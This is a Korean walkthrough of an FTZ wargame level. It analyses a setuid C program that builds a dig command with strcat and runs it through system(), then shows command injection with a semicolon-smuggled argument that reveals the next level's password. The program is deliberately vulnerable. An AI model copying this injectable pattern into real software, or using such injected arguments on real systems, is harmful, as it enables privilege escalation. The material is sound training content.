

FTZ_level3

다음 코드는 autodig의 소스이다 .

```
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main(int argc, char **argv){

    char cmd[100];

    if( argc!=2 ){
        printf( "Auto Digger Version 0.9\n" );
        printf( "Usage : %s host\n", argv[0] );
        exit(0);
    }

    strcpy( cmd, "dig @" );
    strcat( cmd, argv[1] );
    strcat( cmd, " version.bind chaos txt");

    system( cmd );

}
```

이를 이용하여 level4의 권한을 얻어라 .

more hints.

- 동시에 여러 명령어를 사용하려면 ?
- 문자열 형태로 명령어를 전달하려면 ?

소스코드 분석

int argc : main()함수에 전달되는 데이터의 개수

char argv : main()함수에 전달되는 실제적인 데이터로 char형 더블포인터로 구성

if문에서 argc(인자값)이 2가 아니면 exit(0)를 실행하여 프로그램을 종료시킴

strcpy는 string을 copy하는 함수 dig @문자열을 cmd에 복사함

strcat은 string을 concatenate하는 함수 cmd뒤에 붙여넣음

cmd는 `dig @argv[1] version.bind chaos txt` 가 되며 `system`함수에 의해 cmd의 내용을 실행함

추가 힌트

1. 동시에 여러 명령어를 사용하려면
 - ➔ 명령어 사이에 세미콜론(`;`) 사용
2. 문자열 형태로 명령어를 전달하려면
 - ➔ 명령어를 큰 따옴표(`"`)로 묶어줌

```
[level3@ftz level3]$ find / -user level4 2>/dev/null  
/bin/autodig  
[level3@ftz level3]$
```

autodig 파일 확인

```
[level3@ftz level3]$ cd /bin  
[level3@ftz bin]$ ./autodig ";my-pass"
```

디렉터리 이동 후 명령어 입력

```
Level4 Password is "suck my brain".  
[level3@ftz bin]$
```

level4 의 비밀번호 획득